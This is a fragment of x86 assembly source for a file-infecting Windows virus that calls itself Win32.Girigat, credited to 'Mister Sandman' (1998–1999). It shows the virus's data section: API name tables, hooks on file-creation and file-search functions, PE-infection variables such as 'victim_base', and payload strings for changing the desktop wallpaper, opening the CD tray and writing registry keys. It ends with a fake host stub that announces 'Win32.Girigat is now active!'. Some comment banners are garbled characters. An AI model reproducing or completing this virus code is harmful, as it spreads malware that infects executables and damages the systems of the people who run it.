sz_loadlibrary db 'LoadLibraryA',0
sz_writefile db 'WriteFile',0
sz_getcurdir db 'GetCurrentDirectoryA',0
sz_getwindir db 'GetWindowsDirectoryA',0
sz_getsysdir db 'GetSystemDirectoryA',0
sz_findfirst db 'FindFirstFileA',0
sz_findnext db 'FindNextFileA',0
sz_findclose db 'FindClose',0
sz_createfile db 'CreateFileA',0
sz_cfmapping db 'CreateFileMappingA',0
sz_mapview db 'MapViewOfFile',0
sz_unmapview db 'UnmapViewOfFile',0
sz_closehandle db 'CloseHandle',0
sz_wide2multi db 'WideCharToMultiByte',0
sz_apis_end label byte
sz_xapis_start label byte
sz_setcurpos db 'SetCursorPos',0
sz_loadicon db 'LoadIconA',0
sz_shellabout db 'ShellAboutA',0
sz_mcisendstr db 'mciSendStringA',0
sz_regopenkey db 'RegOpenKeyExA',0
sz_regsetvalue db 'RegSetValueExA',0
sz_xapis_end label byte
sz_hook_start label byte
sz_@crtfile_a db 'CreateFileA',0
sz_@crtfile_w db 'CreateFileW',0
sz_@findfst_a db 'FindFirstFileA',0
sz_@findfst_w db 'FindFirstFileW',0
sz_@findnext_a db 'FindNextFileA',0
sz_@findnext_w db 'FindNextFileW',0
sz_hook_end label byte
about_title db 'System Info#+ Girigat.4937',0
virus_creds db '(C) 1998-1999 Mister Sandman',0
key_sz_wpaper db 'Wallpaper',0
key_sz_tilewp db 'TileWallpaper',0
key_sz_wpstyle db 'WallpaperStyle',0
key_sz_bgcolor db 'Background',0
key_sz_desktop db 'Control Panel\Desktop',0
key_sz_colors db 'Control Panel\Colors',0
sz_wildcard db '*.*',0
sz_bmp_file db 'c:\Girigat.bmp',0
sz_open_cd db 'set cdaudio door open',0
sz_close_cd db 'set cdaudio door closed',0
sz_comp_name db 0ah dup (?)
random_seed dd 0bebafecah
file_end label byte
; <20>Ĵ External data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ad_kernel32 dd ?
ad_gmhandlea dd ?
ad_gmhandlew dd ?
ad_gpaddress dd ?
ad_apis_start label byte
ad_gcompname dd ?
ad_lstrcpy dd ?
ad_getsystime dd ?
ad_loadlibrary dd ?
ad_writefile dd ?
ad_getcurdir dd ?
ad_getwindir dd ?
ad_getsysdir dd ?
ad_findfirst dd ?
ad_findnext dd ?
ad_findclose dd ?
ad_createfile dd ?
ad_cfmapping dd ?
ad_mapview dd ?
ad_unmapview dd ?
ad_closehandle dd ?
ad_wide2multi dd ?
ad_apis_end label byte
ad_xapis_start label byte
ad_setcurpos dd ?
ad_loadicon dd ?
ad_shellabout dd ?
ad_mcisendstr dd ?
ad_regopenkey dd ?
ad_regsetvalue dd ?
ad_xapis_end label byte
current_time label byte
current_year dw ?
current_month dw ?
current_dow dw ?
current_day dw ?
current_hour dw ?
current_minute dw ?
current_secs dw ?
current_msecs dw ?
handle_key dd ?
handle_search dd ?
handle_open dd ?
handle_map dd ?
@functions dd ?
@names dd ?
@ordinals dd ?
imp_tbl_desc dd ?
victim_base dd ?
pe_alignment dd ?
byte_counter dd ?
unicode_api db OFF
dir_buffer db 104h dup (?)
win32_finddata db 13eh dup (?)
ff_file_path db 104h dup (?)
temp_buffer db 104h dup (?)
; <20>͹ Fake host code <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
host_entry: push offset sz_kernel32
call GetModuleHandleA
or eax,eax
jz host_code
mov dword ptr [ad_kernel32],eax
jmp file_entry
host_code: push 10h offset box_title
push offset box_text 0
call MessageBoxA
push 0
call ExitProcess
.data
box_title db 'Virus Alert!',0
box_text db 'Win32.Girigat is now active! ',0
end host_entry
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